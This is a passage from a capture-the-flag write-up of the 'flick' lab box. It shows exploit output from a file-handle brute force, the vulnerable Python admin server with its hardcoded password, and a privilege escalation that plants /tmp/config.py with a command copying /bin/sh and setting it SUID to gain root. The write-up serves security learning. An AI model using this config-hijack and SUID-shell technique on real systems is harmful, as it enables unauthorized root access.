[*] Brute forcing remaining 32bit. This can take a while...
[*] (opt) Trying: 0x00000000
[*] #=8, 1, char nh[] = {0xf6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
[*] Resolving 'start_apache/restart.sh'
[*] Found .
[*] Found ..
[*] Found start_apache
[+] Match: start_apache ino=137500
[*] Brute forcing remaining 32bit. This can take a while...
[*] (start_apache) Trying: 0x00000000
[*] #=8, 1, char nh[] = {0x1c, 0x19, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00};
[*] Resolving 'restart.sh'
[*] Found .
[*] Found start.py
[*] Found ..
[*] Found restart.sh
[+] Match: restart.sh ino=173642
[*] Brute forcing remaining 32bit. This can take a while...
[*] (restart.sh) Trying: 0x00000000
[*] #=8, 1, char nh[] = {0x4a, 0xa6, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00};
[!] Got a final handle!
[*] #=8, 1, char nh[] = {0x4a, 0xa6, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00};
[!] Win! /etc/shadow output follows:
#!/bin/sh
/usr/sbin/service apache2 restart
/usr/bin/supervisorctl restart all

I was too lazy to modify the print statement, the actual file that was read was the restart.sh file. Not very interesting, so I looked at the other one (this time I’m only showing the code):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
#!/usr/bin/python
'''
    Simple socket server using threads. Used in the flick CTF
    Credit: http://www.binarytides.com/python-socket-server-code-example/
'''

import socket
import os, sys, signal
from thread import *
import subprocess

# import the directory containing our config, and prevent the bytcode writes
sys.dont_write_bytecode = True

# see if /tmp has a configuration to load.
# Debugging purposes only!!!
if os.path.isfile('/tmp/config.py'):
  sys.path.insert(0, '/tmp')
else:
  sys.path.insert(0, '/etc')

# import the config
from config import config

HOST = ''   # Symbolic name meaning all available interfaces
PORT = 8881 # Arbitrary non-privileged port

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)

#Bind socket to local host and port
try:
    s.bind((HOST, PORT))
except socket.error as msg:
    print 'Bind failed. Error Code : ' + str(msg[0]) + ' Message ' + msg[1]
    sys.exit()

#Start listening on socket
s.listen(10)

#Function for handling connections. This will be used to create threads
def clientthread(conn):

    #Sending message to connected client
    conn.send('Welcome to the admin server. A correct password will \'flick\' the switch and open a new door:\n> ') #send only takes string

    #infinite loop so that function do not terminate and thread do not end.
    while True:

        #Receiving from client
        data = conn.recv(1024)
        reply = 'OK: ' + data
        if not data:
            break

  # check if the password is tabupJievas8Knoj
  if data.strip() == 'tabupJievas8Knoj':
      return_code = subprocess.call(config['command'], shell=True)
      if return_code == 0:
          reply += '\nAccepted! The door should be open now :poolparty:\n'
      else:
          reply += '\nAccepted, but it doesn\'t look like the door opened :<\n'

  # add the prompt again
  reply += '\n> '

        conn.sendall(reply)
    #came out of loop
    conn.close()

#now keep talking with the client
while 1:
    #wait to accept a connection - blocking call
    conn, addr = s.accept()

    #start new thread takes 1st argument as a function name to be run, second is the tuple of arguments to the function.
    start_new_thread(clientthread ,(conn,))

s.close()

So this is the application that provided us with the first foothold on the box! The interesting part is that the program looks for a config.py in /tmp/, and if it can’t find one there it loads it from /etc/. Let’s see it:

1
2
3
4
robin@flick:~$ cat /etc/config.py
config = {
  'command': 'service apache2 restart'
}

So it runs a command?..This is great, because we can hijack it by creating a config file in /tmp/ with code of our choosing:

1
2
3
4
robin@flick:~$ cat > /tmp/config.py
config = {
        'command': 'cp /bin/sh /tmp/pwn; chmod 4777 /tmp/pwn'
}

Copied the shell and gave it SUID and full access so we can execute it as root. Next we have to restart the program:

1
2
3
4
5
6
obin@flick:~$ sudo /opt/start_apache/restart.sh
 * Restarting web server apache2                                                                                                                     apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1 for ServerName
apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1 for ServerName
                                                                                                                                              [ OK ]
start_apache-8000: stopped
start_apache-8000: started

I looked in /tmp/ but the shell wasn’t there, so I tried again to connect to port 8881 and give the password. And indeed, now there is a shell waiting there:

1
2
3
4
robin@flick:~$ ls -l /tmp/
total 112
-rw-rw-r-- 1 robin robin     75 Apr  1 14:08 config.py
-rwsrwxrwx 1 root  root  109768 Apr  1 14:17 pwn

Game over!

1
2
3
robin@flick:~$ /tmp/pwn
# whoami
root

You will be run over by a beer truck.

Comments